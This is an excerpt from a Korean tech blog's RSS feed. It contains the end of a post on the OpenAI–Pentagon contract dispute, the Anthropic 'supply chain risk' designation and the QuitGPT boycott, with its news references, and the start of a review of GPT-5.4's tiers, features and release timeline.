&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한국 사용자들도 AI 도구를 선택할 때 성능(벤치마크 점수, 응답 속도)만이 아니라 기업의 윤리적 입장과 데이터 정책을 고려할 필요가 있다. 이번 사건은 &quot;내가 결제한 구독료가 어디에 쓰이는가&quot;라는 질문을 사용자들에게 던진 것이다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;개발자 도구 관점에서의 분석&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개발자 입장에서는 API를 제공하는 기업의 안정성도 고려해야 한다. Anthropic이 정부에 의해 '공급망 위험'으로 지정되면서 방산 업체들이 Claude API 사용을 중단해야 했듯이, 특정 AI 기업에 대한 정부의 조치가 자사 서비스에 영향을 미칠 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한국 기업이 미국 AI API에 의존하는 서비스를 운영할 경우, 이런 지정학적 리스크도 기술 선택의 변수로 고려해야 한다. 다중 AI 벤더 전략이나 대안 모델 확보 계획의 중요성이 커졌다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;한국 AI 정책에의 함의&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한국도 군사 AI 개발에 투자하고 있다. 이번 사건은 &quot;AI의 군사적 사용에 어떤 안전장치를 둘 것인가&quot;에 대한 국제적 논의의 출발점이 될 수 있다. 한국 정부와 국방부도 AI 군사 활용에 대한 명확한 가이드라인과 법적 프레임워크를 마련할 필요가 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;특히 &quot;모든 합법적 목적&quot; 대 &quot;제한된 사용 범위&quot;라는 이번 논쟁의 구도는 한국의 AI 군사 정책에도 직접적인 참고가 된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 9: 마치며 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;section9&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 마치며&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이번 사건은 단순한 기업 간 경쟁이 아니다. AI 기술이 군사적으로 사용될 때 어디에 선을 그어야 하는지, 그리고 그 선을 지키지 않을 때 사용자들이 어떻게 반응하는지를 보여주는 전례가 되었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;정리하면 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;margin: 15px 0; padding-left: 25px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Anthropic&lt;/b&gt;은 원칙을 지켰지만, 정부로부터 '공급망 위험'으로 지정되며 미국 국방 생태계에서 사실상 배제당했다. 그 대가로 소비자 시장에서 전례 없는 성장을 경험하고 있다. 법적 대응도 예고한 상태다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;OpenAI&lt;/b&gt;는 Pentagon 계약을 확보했지만, 사용자 신뢰에 큰 타격을 입었다. 295% 삭제율 급증, 150만 명 이상의 QuitGPT 운동, 핵심 인재의 사임, 자사 직원들의 공개적 반발은 쉽게 회복되지 않을 상처다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;사용자들&lt;/b&gt;은 AI 도구를 선택할 때 성능뿐 아니라 윤리적 입장도 중요한 기준이 된다는 것을 증명했다. QuitGPT 운동의 규모는 기술 기업 불매운동의 새로운 기준점이 될 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;AI 군사화 논쟁&lt;/b&gt;은 이제 시작이다. 2026년 3월 현재, Anthropic은 Pentagon의 지정에 대한 법적 소송을 예고한 상태이며, 계약의 법적 허점에 대한 논의도 계속되고 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;xAI&lt;/b&gt;는 상대적으로 조용히 Pentagon 계약을 확보했지만, Musk의 정부 내 위치(DOGE 수장)와 xAI CEO로서의 이중적 역할에 대한 이해충돌 논란은 별도의 쟁점으로 남아 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개발자이자 AI 도구 사용자의 입장에서, 이 사건은 &quot;내가 쓰는 AI 도구가 어디에 쓰이는지&quot;에 대해 한 번쯤 생각해보게 만든다. 어떤 도구를 선택하든 그것은 각자의 판단이겠지만, 적어도 그 판단의 근거가 되는 정보는 정확히 알고 있어야 한다고 생각한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 글이 그 판단에 도움이 되었기를 바란다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 참고 자료 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px; border-radius: 12px; border: 2px solid #cce5ff; margin-top: 30px;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;참고 자료&lt;/h3&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://openai.com/index/our-agreement-with-the-department-of-war/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; Our agreement with the Department of War | OpenAI 공식 블로그 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cnbc.com/2026/03/03/openai-sam-altman-pentagon-deal-amended-surveillance-limits.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; OpenAI's Altman admits defense deal 'looked opportunistic and sloppy' amid backlash | CNBC &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://techcrunch.com/2026/03/01/openai-shares-more-details-about-its-agreement-with-the-pentagon/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; OpenAI reveals more details about its agreement with the Pentagon | TechCrunch &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.technologyreview.com/2026/03/02/1133850/openais-compromise-with-the-pentagon-is-what-anthropic-feared/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; OpenAI's 'compromise' with the Pentagon is what Anthropic feared | MIT Technology Review &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.euronews.com/next/2026/03/02/cancel-chatgpt-ai-boycott-surges-after-openai-pentagon-military-deal&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; 'Cancel ChatGPT': AI boycott surges after OpenAI-Pentagon military deal | Euronews &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.businesstoday.in/tech-today/news/story/openai-pentagon-deal-triggers-backlash-1-million-users-sign-up-to-quit-chatgpt-519120-2026-03-04&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; OpenAI Pentagon deal triggers backlash; 1.5 million users sign up to quit ChatGPT | BusinessToday &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://techcrunch.com/2026/03/02/chatgpt-uninstalls-surged-by-295-after-dod-deal/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; ChatGPT uninstalls surged by 295% after DoD deal | TechCrunch (Sensor Tower 데이터) &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://techcrunch.com/2026/03/01/anthropics-claude-rises-to-no-2-in-the-app-store-following-pentagon-dispute/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; Anthropic's Claude rises to No. 1 in the App Store following Pentagon dispute | TechCrunch &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fortune.com/2026/03/02/anthropic-claude-dario-amodei-number-one-app-store-openai-chatgpt-sam-altman-department-war/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; Anthropic's Claude overtakes ChatGPT in App Store | Fortune &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cnbc.com/2026/02/26/anthropic-pentagon-ai-amodei.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; Anthropic CEO Amodei says Pentagon's threats 'do not change our position' | CNBC &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://techcrunch.com/2026/03/04/anthropic-ceo-dario-amodei-calls-openais-messaging-around-military-deal-straight-up-lies-report-says/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; Anthropic CEO Dario Amodei calls OpenAI's messaging 'straight up lies' | TechCrunch &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://techcrunch.com/2026/03/07/openai-robotics-lead-caitlin-kalinowski-quits-in-response-to-pentagon-deal/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; OpenAI robotics lead Caitlin Kalinowski quits | TechCrunch &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bloomberg.com/news/articles/2026-03-07/openai-s-head-of-robotics-resigns-over-company-s-pentagon-deal&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; OpenAI's Head of Robotics Resigns Over Pentagon Deal | Bloomberg &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.axios.com/2026/02/23/ai-defense-department-deal-musk-xai-grok&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; Musk's xAI and Pentagon reach deal to use Grok in classified systems | Axios &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fortune.com/2026/03/07/pentagon-emil-michael-anthropic-claude-defense-ai-openai-iran-war-palantir/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; Pentagon official recalls 'whoa moment' when defense leaders realized how indispensable Anthropic is | Fortune &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cnn.com/2026/03/04/tech/pentagon-anthropic-openai-staff-reactions&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; Some OpenAI staff are fuming about its Pentagon deal | CNN &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fortune.com/2026/03/03/sam-altman-openai-pentagon-renegotiating-deal-anthropic/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; Sam Altman says OpenAI renegotiating 'opportunistic and sloppy' deal with the Pentagon | Fortune &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.npr.org/2026/02/27/nx-s1-5729118/trump-anthropic-pentagon-openai-ai-weapons-ban&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; OpenAI announces Pentagon deal after Trump bans Anthropic | NPR &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.fastcompany.com/91502961/openais-pentagon-deal-once-again-calls-sam-altmans-credibility-into-question&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; OpenAI's Pentagon deal once again calls Sam Altman's credibility into question | Fast Company &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://thedefensepost.com/2026/03/07/anthropic-pentagon-contract-dispute/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; Anthropic Vows Court Fight in Pentagon Row | The Defense Post &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.technologyreview.com/2026/02/10/1132577/a-quitgpt-campaign-is-urging-people-to-cancel-chatgpt-subscriptions/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; A &quot;QuitGPT&quot; campaign is urging people to cancel their ChatGPT subscription | MIT Technology Review &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/AI 주간 News (AI 트렌드 기록)</category>
      <category>AI 군사화 문제</category>
      <category>Anthropic Claude 1위</category>
      <category>Caitlin Kalinowski 사임</category>
      <category>ChatGPT 삭제</category>
      <category>Department of War AI</category>
      <category>OpenAI Pentagon 계약</category>
      <category>OpenAI 군사 계약</category>
      <category>OpenAI 논란 2026</category>
      <category>QuitGPT 운동</category>
      <category>Sam Altman 사과</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/541</guid>
      <comments>https://goddaehee.tistory.com/541#entry541comment</comments>
      <pubDate>Sun, 8 Mar 2026 20:57:57 +0900</pubDate>
    </item>
    <item>
      <title>GPT-5.4 출시 리뷰 - 신규 기능, 벤치마크, 시장 반응, Pro 5.4 vs Thinking 5.4, 실제로 얼마나 다를까? 비교 분석</title>
      <link>https://goddaehee.tistory.com/540</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;솔직히 말해볼게요. 요즘 AI 모델 출시 뉴스에 피로감을 느끼시는 분들 많으시죠? GPT-5.1, 5.2, 5.3&amp;hellip; 그리고 3월 5일, GPT-5.4. 이틀 간격으로 버전이 연속 출시되는 OpenAI의 속도전에 지치는 건 자연스러운 반응입니다. 하지만 &lt;b&gt;이번은 진짜 강력하다고 생각이 되었다&lt;/b&gt;. (진심이다.)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2582&quot; data-origin-height=&quot;1452&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I2oAG/dJMcab4qDlU/UvbzjMP8nACv3Jdg7Eu8Wk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I2oAG/dJMcab4qDlU/UvbzjMP8nACv3Jdg7Eu8Wk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I2oAG/dJMcab4qDlU/UvbzjMP8nACv3Jdg7Eu8Wk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI2oAG%2FdJMcab4qDlU%2FUvbzjMP8nACv3Jdg7Eu8Wk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2582&quot; height=&quot;1452&quot; data-origin-width=&quot;2582&quot; data-origin-height=&quot;1452&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;메인라인 모델이 처음으로 컴퓨터를 직접 조작하게 됐고, OSWorld에서 인간 기준선(72.4%)을 처음으로 넘어섰습니다(75.0%).&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;모델 선택 화면에도 세 개의 티어가 새로 등장했어요: Instant 5.3, Thinking 5.4, Pro 5.4.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;오늘은 &quot;이번 업데이트, 과연 써볼 만한 건가?&quot;라는 관점에서 각 티어를 어떤 상황에서 어떻게 활용하면 좋을지 함께 정리해보겠습니다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;GPT-5.4란 무엇인가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;출시 배경 및 일정&lt;/li&gt;
&lt;li&gt;세 가지 티어 한눈에 보기&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;GPT-5.4의 7가지 핵심 신기능
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;컴퓨터 사용 (Computer Use)&lt;/li&gt;
&lt;li&gt;100만 토큰 컨텍스트&lt;/li&gt;
&lt;li&gt;Tool Search&lt;/li&gt;
&lt;li&gt;컨텍스트 컴팩션&lt;/li&gt;
&lt;li&gt;코딩 통합&lt;/li&gt;
&lt;li&gt;비즈니스 워크플로우&lt;/li&gt;
&lt;li&gt;스티어빌리티 (Steerability)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Thinking 5.4 vs Pro 5.4 심층 비교
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;추론 메커니즘 차이&lt;/li&gt;
&lt;li&gt;벤치마크 비교&lt;/li&gt;
&lt;li&gt;어떤 티어를 선택해야 하나&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;구독 플랜별 접근 권한&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;API 활용 가이드
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모델 이름 및 엔드포인트&lt;/li&gt;
&lt;li&gt;reasoning.effort 파라미터&lt;/li&gt;
&lt;li&gt;API 가격표&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 사용 사례
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;에이전트 업무 자동화&lt;/li&gt;
&lt;li&gt;고급 코딩 워크플로우&lt;/li&gt;
&lt;li&gt;엔터프라이즈 적용 사례&lt;/li&gt;
&lt;li&gt;지금 바로 해보기: ChatGPT &amp;amp; Codex 실습 프롬프트&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;알려진 제한사항 및 주의점&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;모델 퇴역 일정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;한국어 사용자 주의사항&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응과 실사용자 목소리
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;#QuitGPT 운동과 배경&lt;/li&gt;
&lt;li&gt;개발자 커뮤니티 반응&lt;/li&gt;
&lt;li&gt;커뮤니티 공통 선택 기준&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;ChatGPT 5.4 Pro 완전 가이드&lt;/b&gt;&lt;br /&gt;GPT-5.4는 2026년 3월 5일 출시된 OpenAI의 최신 메인라인 모델이다.&lt;br /&gt;Thinking 5.4와 Pro 5.4 두 티어로 제공되며, 업계 최초로 &lt;b&gt;컴퓨터 사용(Computer Use)&lt;/b&gt;을 기본 탑재했다.&lt;br /&gt;OSWorld 벤치마크에서 &lt;b&gt;인간 기준선(72.4%)을 초과(75.0%)&lt;/b&gt;한 첫 OpenAI 메인라인 모델이기도 하다.&lt;/div&gt;
&lt;div style=&quot;background-color: #fef9e7; padding: 20px; border-radius: 12px; border-left: 5px solid #f39c12; margin: 0 0 30px 0;&quot;&gt;&lt;b&gt;AI 피로감 시대의 맥락: 이번 업데이트를 읽는 방법&lt;/b&gt;
&lt;p style=&quot;margin-top: 12px; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5.4는 단순한 버전 업그레이드 타이밍에 출시된 게 아닙니다. &lt;b&gt;ChatGPT MAU 성장이 캐즘(Chasm, 초기 사용자와 대중 사이의 채택 정체 구간) 국면&lt;/b&gt;에 진입했다는 분석이 나오고, OpenAI의 빠른 업데이트 주기가 오히려 신뢰 문제를 만들고 있는 시점이에요.&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0 0 20px; padding: 0; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;캐즘 국면이란?&lt;/b&gt; 초기 열성 사용자는 이미 충성도가 높지만, 다음 단계인 일반 대중 채택이 정체되는 구간을 말합니다. &quot;또 새 모델이야?&quot; 하는 피로감이 이 단계의 대표적인 특징이에요.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;빠른 업데이트 = 양날의 검:&lt;/b&gt; 5.1 &amp;rarr; 5.2 &amp;rarr; 5.3 &amp;rarr; 5.4가 수 주 간격으로 출시되면서, 프로덕션 환경에서 &lt;b&gt;모델 드리프트&lt;/b&gt;(Model Drift, 같은 모델 ID인데 내부가 조용히 바뀌는 현상) 문제가 현실화되고 있습니다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;GPT-5.4의 응답:&lt;/b&gt; 할루시네이션(Hallucination, AI가 사실이 아닌 정보를 생성하는 현상) 33% 감소, 오류 응답 18% 감소를 공식 수치로 제시하며 &quot;신뢰성 회복&quot;을 핵심 메시지로 내세운 배경이 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-top: 10px; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;이 맥락을 이해하면 각 기능이 왜 이 시점에 나왔는지가 더 명확해집니다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: GPT-5.4란 무엇인가 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. GPT-5.4란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;출시 배경 및 일정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5.4는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;2026년 3월 5일 공식 출시&lt;/b&gt;&lt;/span&gt;된 OpenAI의 플래그십 메인라인 모델이다. 2일 전인 3월 3일에 먼저 GPT-5.3 Instant를 출시하며 분위기를 달군 뒤, &quot;5.4 sooner than you think&quot;라는 예고 트윗이 3백만 뷰를 기록하며 주목받았다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5.4는 별도의 신규 모델을 추가하는 방식이 아니라, &lt;b&gt;동일한 GPT-5.4 기반 모델 위에서 추론 깊이와 컴퓨팅 투자 수준을 다르게 설정한 티어 시스템&lt;/b&gt;이다. 즉, 같은 엔진을 어느 기어로 달리느냐의 차이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0px; font-size: 14px; height: 155px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8; height: 25px;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; height: 25px;&quot;&gt;날짜&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; height: 25px;&quot;&gt;이벤트&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 26px;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; height: 26px;&quot;&gt;2026-03-03&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; height: 26px;&quot;&gt;GPT-5.3 Instant 출시 (전 플랜 사용자)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9; height: 26px;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; height: 26px;&quot;&gt;2026-03-05&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; height: 26px;&quot;&gt;&lt;b&gt;GPT-5.4 공식 발표 (ChatGPT + API + Codex)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 26px;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; height: 26px;&quot;&gt;2026-03-06&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; height: 26px;&quot;&gt;GPT-5.4 전체 롤아웃 완료&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9; height: 26px;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; height: 26px;&quot;&gt;2026-06-03&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; height: 26px;&quot;&gt;GPT-5.2 Instant 서비스 종료&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 26px;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; height: 26px;&quot;&gt;2026-06-05&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; height: 26px;&quot;&gt;GPT-5.2 Thinking 서비스 종료&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://openai.com/index/introducing-gpt-5-4/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Introducing GPT-5.4 | OpenAI&lt;/a&gt;, &lt;a href=&quot;https://openai.com/index/retiring-gpt-4o-and-older-models/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Retiring older models | OpenAI&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
